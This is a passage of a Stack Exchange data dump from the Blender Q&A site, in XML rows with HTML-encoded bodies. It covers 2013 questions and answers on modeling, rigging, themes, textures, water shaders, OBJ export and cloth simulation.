  <row Id="97" PostTypeId="2" ParentId="62" CreationDate="2013-05-23T04:21:58.700" Score="10" Body="&lt;p&gt;There are a few reasons, but to list some that aren't already mentioned.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When doing subsurf modeling (or modeling with deform modifiers for that matter). Its possible that the cage overlaps at points that don't show up on the final output, but removing doubles will adversely effect the subsurf result.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes when your modeling you want the model to be manifold (water tight) with obvious inside and outside. In this case you may want to preserver a solid mesh shell and not worry about accidentally overlapping vertices while you edit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Removing doubles can give unusual geometry (an edge with 3+ faces using it for example), such meshes are supported but often won't give good results with blenders tools.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-05-23T06:48:16.267" LastActivityDate="2013-05-23T06:48:16.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="98" PostTypeId="1" AcceptedAnswerId="108" CreationDate="2013-05-23T04:26:25.017" Score="5" ViewCount="603" Body="&lt;p&gt;I have model of an animal I'm building. It will have bones to animate the limbs, the neck, and the jaws. However, I want the tail to be less rigid. So, can I use a bezier curve and bones together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMf0x.png&quot; alt=&quot;proposed model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="290" LastEditDate="2013-06-11T23:54:07.687" LastActivityDate="2013-06-11T23:54:07.687" Title="Can I use splines and bones together in the same rig?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostTypeId="1" CreationDate="2013-05-23T04:29:47.247" Score="9" ViewCount="6741" Body="&lt;p&gt;If I create a theme, can I export it for import later or for distribution?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="2217" LastEditDate="2015-01-12T00:21:05.767" LastActivityDate="2020-05-09T04:01:20.793" Title="Can themes be exported and imported?" Tags="&lt;export&gt;&lt;customization&gt;&lt;import&gt;&lt;theme&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostTypeId="1" AcceptedAnswerId="101" CreationDate="2013-05-23T04:30:34.187" Score="79" ViewCount="65740" Body="&lt;p&gt;I'm creating a model for a 3D game that will eventually be exported using a custom Python script. This model makes heavy use of UV textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the project now references a bunch of images that are not used by any objects in the project. Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNppN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want the first two, or the &lt;code&gt;red_bubble.png&lt;/code&gt; image. However, I have no idea how to remove them from the project. Selecting one of them reveals that there are &quot;2 users of the data&quot; although I am not using it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of these excess images?&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="2952" LastEditDate="2015-11-25T00:49:31.603" LastActivityDate="2021-05-19T23:48:32.403" Title="How do I completely remove an image from my .blend file?" Tags="&lt;uv&gt;&lt;image&gt;&lt;data-blocks&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="25" ContentLicense="CC BY-SA 3.0" />
  <row Id="101" PostTypeId="2" ParentId="100" CreationDate="2013-05-23T04:33:39.127" Score="89" Body="&lt;p&gt;If you have an image (or other piece of data, such as a material) you can force remove all users by &lt;kbd&gt;Shift&lt;/kbd&gt; clicking on the &lt;strong&gt;X&lt;/strong&gt; next to it's name. This will &lt;em&gt;&quot;mark&quot;&lt;/em&gt; the data for removal upon closing the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you force remove the data, you'll need to reopen the file in order for the data to be removed. You can do this quickly by saving the file with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and then opening it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; and selecting the file.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="743" LastEditDate="2014-01-05T01:03:46.127" LastActivityDate="2014-01-05T01:03:46.127" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="102" PostTypeId="2" ParentId="99" CreationDate="2013-05-23T04:35:46.510" Score="9" Body="&lt;p&gt;The themes are saved as an XML file under &lt;code&gt;scripts/presets/interface_theme&lt;/code&gt;. You can manually navigate to there and grab the XML files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing a theme is easier, you can use the &lt;code&gt;install Theme...&lt;/code&gt; button in user preference panel.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-23T04:35:46.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostTypeId="2" ParentId="99" CreationDate="2013-05-23T04:36:20.700" Score="7" Body="&lt;p&gt;By default you cannot export a theme. But there's a great little add-on that a couple guys wrote that you can find here: &lt;a href=&quot;https://www.dropbox.com/s/31xmun35z15grcy/theme_export.py?v=1mci&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/31xmun35z15grcy/theme_export.py?v=1mci&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds an &quot;Export Theme&quot; button to the bottom of the User Preferences &gt; Theme section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/63TdP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-23T04:36:20.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="104" PostTypeId="2" ParentId="87" CreationDate="2013-05-23T04:38:54.993" Score="24" Body="&lt;p&gt;On systems other than OSX (Windows, Linux, BSD.. etc), you can open as many instance of Blender as you like. (and load whatever file you want)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OS X, by default, only 1 instance of an app can be run. You can work around this limitation by invoking Blender from the command line. &lt;code&gt;open -n /Applications/blender.app&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-12-16T18:25:19.820" LastActivityDate="2014-12-16T18:25:19.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostTypeId="1" AcceptedAnswerId="106" CreationDate="2013-05-23T04:40:14.970" Score="57" ViewCount="81168" Body="&lt;p&gt;I've never been quite able to figure out how groups work in Blender (at least not since 2.5/6x). Is it possible to group several objects and then manipulate them &lt;em&gt;(scale, rotate, translate)&lt;/em&gt; as one?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="3710" LastEditDate="2015-11-26T13:23:09.947" LastActivityDate="2020-12-15T14:47:38.360" Title="Is it possible to group several objects and then manipulate them (scale, rotate, translate) as one?" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;groups&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostTypeId="2" ParentId="105" CreationDate="2013-05-23T04:45:10.363" Score="45" Body="&lt;p&gt;Groups in itself are not that useful. You cannot directly manipulate a group of objects as one object. Although groups make it easier to select objects with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real power of a group comes from instancing and dynamic linking. Which I will explain:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Instancing:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you've created a group, you can instantiate this group elsewhere in the scene by &lt;code&gt;Add&lt;/code&gt;&gt;&lt;code&gt;Group Instance&lt;/code&gt;. This saves you the trouble of creating literal duplicates of your objects. Consider a city scene, I might have a number of objects that makes up a car model. By grouping these objects into a group, I can place a car group instance anywhere in the scene with very little overhead.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Dynamic Linking:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In many ways, dynamic linking is an extension of instancing. The only difference is that we are using a group from another blend file(often called a library). Dynamic linking is a &lt;em&gt;very&lt;/em&gt; useful feature in a large production, because it allows larger scenes to be broken up in smaller chunks. (managed by different people)&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="12" LastEditDate="2013-06-05T20:58:20.693" LastActivityDate="2013-06-05T20:58:20.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostTypeId="2" ParentId="21" CreationDate="2013-05-23T04:47:15.460" Score="6" Body="&lt;p&gt;In blender-internal renderer there is a material option 'Z Offset' you can use to force one material to render on-top of another even if the faces overlap. This works in the game engine too and is quite handy at times.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-23T04:47:15.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostTypeId="2" ParentId="98" CreationDate="2013-05-23T04:57:10.550" Score="5" Body="&lt;p&gt;There is nothing stopping you from doing both.  This situation comes up from time to time when rigging polygonal hair to a character: the hair usually has spline control, and the body is made of bones.  Just make sure your parenting hierarchy and weight paint makes sense.  For simplicity, you may want to make the tail and body two discreet objects with their own deform modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is the spline IK modifier for bones, in which a spline controls a series of bones.  So it's kind of mixing both.&lt;/p&gt;&#xA;" OwnerUserId="79" LastActivityDate="2013-05-23T04:57:10.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostTypeId="1" AcceptedAnswerId="113" CreationDate="2013-05-23T04:58:45.540" Score="50" ViewCount="46868" Body="&lt;p&gt;I often use an array modifier (or two) to quickly create a grid of identical or symmetric objects, which can be really useful when modeling all sorts of man-made objects. Once I've made the grid, though, is there any way for me to make it so that each of the objects are individually manipulatable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply applying the modifier does not seem to be the full answer, since it still only allows me to select the grid-of-objects as a whole in object mode. Is there any way to separate them so I work with them each individually?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="3078" LastEditDate="2015-12-14T21:08:31.173" LastActivityDate="2020-07-22T12:39:24.993" Title="How can I use an array modifier to create individually manipulatable objects?" Tags="&lt;modifiers&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostTypeId="2" ParentId="64" CreationDate="2013-05-23T05:02:25.123" Score="5" Body="&lt;p&gt;The Glass BSDF node offers essentially everything that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IOR you will want to use is 1.333 (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?71202-Material-IOR-Value-reference&quot; rel=&quot;noreferrer&quot;&gt;from a Blender Artists post&lt;/a&gt;), and you'll pretty quickly get a good look for stationary water. If you want foam, you'll have to get a little bit clever with your implementation, but water by itself works pretty well just with the single shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using the newest version of Blender, it is also possible to do SSS to mimic the effect of light in water.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: My attempt at making a standard water.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibvE6.png&quot; alt=&quot;Standard Glass BSDF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one with SSS; it's not realistic, but could be helpful for portraying deep water (i.e. oceans).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ttjGg.png&quot; alt=&quot;Glass SSS BSDF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I'd strongly recommend using a simple Glass BSDF for your water, and if you run into issues trying to work around it, rather than trying to build the water from scratch using reflection/refraction. Cubes aren't the best way to show this; I put mine inside a &quot;container&quot; because otherwise you get to see the glass reflecting on itself, but this shouldn't be an issue with a more complex model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the second render got more samples, so any quality discrepancies are likely due to that.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-05-23T05:02:25.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostTypeId="2" ParentId="64" CreationDate="2013-05-23T05:03:48.190" Score="17" Body="&lt;p&gt;Large scale water (almost opaque) looks very different than small scale water (very transparent). Fast water(whiter, low reflectivity) also looks very different than slow water(clearer, high reflectivity). So unfortunately there isn't a simple answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since water is transparent, the lighting and environment which it's in is very important. A drop of water in a blank world is going to be invisible. So realistic lighting and proper environment for it to reflect off helps a lot.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-23T05:03:48.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostTypeId="2" ParentId="109" CreationDate="2013-05-23T05:07:01.923" Score="17" Body="&lt;p&gt;You can try to manually separate them in edit mode, and press &lt;kbd&gt;P&lt;/kbd&gt; to separate &lt;em&gt;By loose parts&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't work if your array element already has separate parts.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="241" LastEditDate="2016-12-15T12:22:53.507" LastActivityDate="2016-12-15T12:22:53.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostTypeId="2" ParentId="109" CreationDate="2013-05-23T05:07:31.363" Score="52" Body="&lt;ol&gt;&#xA;&lt;li&gt;Apply the modifier to make the data real&lt;/li&gt;&#xA;&lt;li&gt;Enter edit mode on the object and press &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;code&gt;Separate by loose parts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all separated objects and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;code&gt;Origin to Geometry&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will make each piece an individual object with the origin located at the origin of the original object. Now you can manipulate them as you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Original object has to be one mesh. If original object consists from more parts (like Monkey head + 2eyes) you will have to connect them together by simple edge.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2016-06-11T18:36:51.253" LastActivityDate="2016-06-11T18:36:51.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostTypeId="2" ParentId="66" CreationDate="2013-05-23T05:20:28.963" Score="2" Body="&lt;p&gt;The bandwidth requirement are highly dependent on your scene. With the official Network Renderer, you will need enough bandwidth to copy the scene file over to the each of the slaves (once), and then get the rendered images back (every frame). The communication overhead is negligible.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-23T05:20:28.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostTypeId="2" ParentId="21" CreationDate="2013-05-23T05:24:41.103" Score="2" Body="&lt;p&gt;One way to avoid this kind of overlap is to use the Boolean modifier. If you have two shapes that are overlapping, you can join them together into a single shape by selecting the Boolean modifier and selecting 'Operation: Union.' In the example you provided in the question, this will give you a single rectangular prism you can manipulate that will render as one smooth shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EbZ0g.png&quot; alt=&quot;Screenshot of Boolean modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-23T05:24:41.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostTypeId="2" ParentId="19" CreationDate="2013-05-23T05:55:56.273" Score="5" Body="&lt;p&gt;The solution is different depending upon whether you are using the Cycles render engine or the Blender Internal render engine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cycles: Select your object and go into edit&#xA;mode. From that screen, select each of the edges you want to glow,&#xA;then go to the materials menu and assign them an 'emissions'&#xA;material. This is probably not only the easiest way to handle glow,&#xA;but also will produce the nicest results.&lt;/li&gt;&#xA;&lt;li&gt;Blender Internal: First,&#xA;duplicate your shape: one of the copies will serve as your&#xA;object-proper, and the other one will produce the glow. Select one of&#xA;these, and apply a subsurface division to it. Now go into edit mode&#xA;and apply loop cuts on every side, sliding them up so that they lie&#xA;very near to the actual edges of the object. Optimally, you should be&#xA;able to get these loop cuts close enough to the edge that when you&#xA;zoom back out and go into object mode, it should look almost as sharp&#xA;as the original shape. However, by doing this, the other copy of the&#xA;object should be just peeking through the object along every edge.&#xA;Select the other shape, and shrink it down ever so slightly (maybe a&#xA;factor of .995 or so) so that it fits snugly inside the first shape.&#xA;Finally, you should go to the material menu and assign the inner&#xA;object a material, then go down to the 'Shading' options and increase&#xA;the Emission value. If everything is sized properly, then the edges&#xA;should have a nice glow.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With either of these options, you can always use either the compositor, or an external editing program (like GIMP or Photoshop) to enhance these effects.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-23T05:55:56.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostTypeId="1" AcceptedAnswerId="314" CreationDate="2013-05-23T06:28:53.900" Score="74" ViewCount="217110" Body="&lt;p&gt;How do I put a backdrop behind the model that I am creating so that I can compare the picture to the model while editing?&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="12" LastEditDate="2013-05-24T15:25:27.440" LastActivityDate="2019-05-22T20:28:23.993" Title="How do I set a background image while I am editing?" Tags="&lt;3d-view&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostTypeId="1" AcceptedAnswerId="135" CreationDate="2013-05-23T06:32:56.010" Score="7" ViewCount="718" Body="&lt;p&gt;I have this texture file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/30oKq.png&quot; alt=&quot;textures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to apply this texture to these cubes (which I have joined together to be one object):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4JO0y.png&quot; alt=&quot;cubes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I apply one of each of the four textures to each of the cubes?&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="6204" LastEditDate="2016-12-19T18:52:01.923" LastActivityDate="2020-10-06T01:12:01.967" Title="How can I use one image as a texture for an entire model?" Tags="&lt;image&gt;&lt;uv&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="120" PostTypeId="1" AcceptedAnswerId="244" CreationDate="2013-05-23T06:35:57.833" Score="20" ViewCount="8885" Body="&lt;p&gt;I am making tread for a car and I made a simple pattern for one section and then duplicated it a bunch of times using an array. What I want to do now is take the model that is flat and wrap it around an axis to turn it into a wheel. How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="25" LastEditDate="2013-05-24T03:53:31.353" LastActivityDate="2015-11-13T05:51:25.397" Title="How do I take a flat model and wrap around an axis like a wheel?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostTypeId="1" AcceptedAnswerId="266" CreationDate="2013-05-23T06:40:10.580" Score="16" ViewCount="63631" Body="&lt;p&gt;I use Blender to create my 3D models for my Android app that uses OpenGL ES. The default output format for a Wavefront file (.obj) is not compatible with my Wavefront file parser. How do I get Blender to output a Wavefront file that has the following elements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All Verticies and Faces (faces as triangles, not quads)&lt;/li&gt;&#xA;&lt;li&gt;Texture coordinates (UV Mapped)&lt;/li&gt;&#xA;&lt;li&gt;Preprocessed Normals&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="84" LastEditorUserId="241" LastEditDate="2020-06-26T13:39:31.103" LastActivityDate="2020-06-26T13:39:31.103" Title="How do I export a model to .obj format?" Tags="&lt;export&gt;&lt;obj&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="122" PostTypeId="2" ParentId="118" CreationDate="2013-05-23T06:41:30.923" Score="56" Body="&lt;p&gt;In the View Properties panel (accessed by pressing &lt;kbd&gt;N&lt;/kbd&gt;), there should be a category called &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/editors/3dview/display/background_images.html&quot; rel=&quot;noreferrer&quot;&gt;Background Image&lt;/a&gt;&lt;/strong&gt;. To enable it check on the box to its left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load an image, press the 'Add Image' button. All of your relevant image and display options are included in that menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/phywp.png&quot; alt=&quot;Background Image menu (from Blender wiki)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, remember that background images will only be displayed in:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Camera Perspective&lt;/strong&gt; view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any of the &lt;em&gt;preset&lt;/em&gt; orthographic views which you can access using the keys on the number pad:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Front/Back (&lt;kbd&gt;Numpad 1&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Right /Left (&lt;kbd&gt;Numpad 3&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 3&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Top/Bottom (&lt;kbd&gt;Numpad 7&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Background images will not show in perspective view. To switch between perspective and &lt;a href=&quot;http://www.blender.org/manual/editors/3dview/navigate/3d_view.html?highlight=orthographic#perspective-and-orthographic-views&quot; rel=&quot;noreferrer&quot;&gt;orthographic&lt;/a&gt; view use &lt;kbd&gt;Numpad 5&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background images are used for reference only and will not be part of the final render.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="34806" LastEditDate="2017-01-19T21:42:24.590" LastActivityDate="2017-01-19T21:42:24.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostTypeId="2" ParentId="43" CreationDate="2013-05-23T06:43:50.580" Score="35" Body="&lt;p&gt;It looks like the best methods have been mentioned already but adding 2 more (for completeness).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Walk/Fly Mode:&lt;/strong&gt; You can trigger this with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt;, you then move the mouse about to 'Turn your head' &lt;em&gt;(as if you're in a first-person computer game)&lt;/em&gt;, this is similar to rotating the camera itself but you dont have to change the selection or worry about the current pivot-point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lock the camera to the view:&lt;/strong&gt; In the &lt;em&gt;View&lt;/em&gt; panel this can be enabled, in some cases its nicer than &lt;em&gt;Align Active Camera to View&lt;/em&gt; because you can tweak the camera using regular view manipulation and while seeing the camera frame, guides etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-07-11T08:40:02.933" LastActivityDate="2017-07-11T08:40:02.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostTypeId="1" AcceptedAnswerId="130" CreationDate="2013-05-23T06:45:40.693" Score="56" ViewCount="101534" Body="&lt;p&gt;I have a MacBook Pro. Since it's a laptop, it does not have a number pad. It only has the numbers at the top of the keyboard. Can I emulate the number pad so that I can access the hot keys for top view, bottom view, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can I emulate a 3 button mouse with just my touch pad or a two button mouse?&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="25" LastEditDate="2013-05-31T04:29:02.677" LastActivityDate="2020-04-04T10:33:46.507" Title="How to emulate a Number Pad and 3 Button Mouse?" Tags="&lt;customization&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostTypeId="1" AcceptedAnswerId="144" CreationDate="2013-05-23T06:49:42.450" Score="15" ViewCount="56783" Body="&lt;p&gt;I have a simple model that I want to animate for a short film. How do I attach an armature to a model? I want to be able to move the armature, which will control the model, and pose the model for animation.&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="29" LastEditDate="2013-05-24T08:47:14.483" LastActivityDate="2013-05-24T08:47:14.483" Title="How do I apply a simple armature that I made to a model?" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="126" PostTypeId="2" ParentId="120" CreationDate="2013-05-23T06:50:02.020" Score="9" Body="&lt;p&gt;There are a variety of ways of doing this, but one of the simplest is just to use the &lt;em&gt;Array&lt;/em&gt; modifier with 'Object Offset'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model the object you wish to wrap around and place an empty where you want the center of your wheel to be located. Place your object's center at the same location as the empty (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;em&gt;Selection to Cursor (Offset)&lt;/em&gt;). Add an &lt;em&gt;Array&lt;/em&gt; modifier on your object and select 'Object Offset':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/99WGWm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/99WGWm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate the empty very slightly, and bring the array count high enough, and the array should wrap all the way around in a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QfpSml.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QfpSml.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do further smoothing, you can apply the &lt;em&gt;Array&lt;/em&gt; modifier, then use all of the usual tricks (subdivision surface, smooth lighting, Boolean union, etc).&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-11-13T05:51:25.397" LastActivityDate="2015-11-13T05:51:25.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostTypeId="1" AcceptedAnswerId="137" CreationDate="2013-05-23T07:00:11.303" Score="4" ViewCount="3563" Body="&lt;p&gt;I have the following scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/prjrr.png&quot; alt=&quot;Scene Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied the cloth simulation property to the cloth that is floating over the sphere. When the scene is animated, the cloth goes right through the ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make a realistic simulation?&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="6204" LastEditDate="2015-12-14T00:27:32.297" LastActivityDate="2015-12-14T00:27:32.297" Title="How to do a cloth simulation in Blender?" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2013-05-23T14:32:05.383" ContentLicense="CC BY-SA 3.0" />
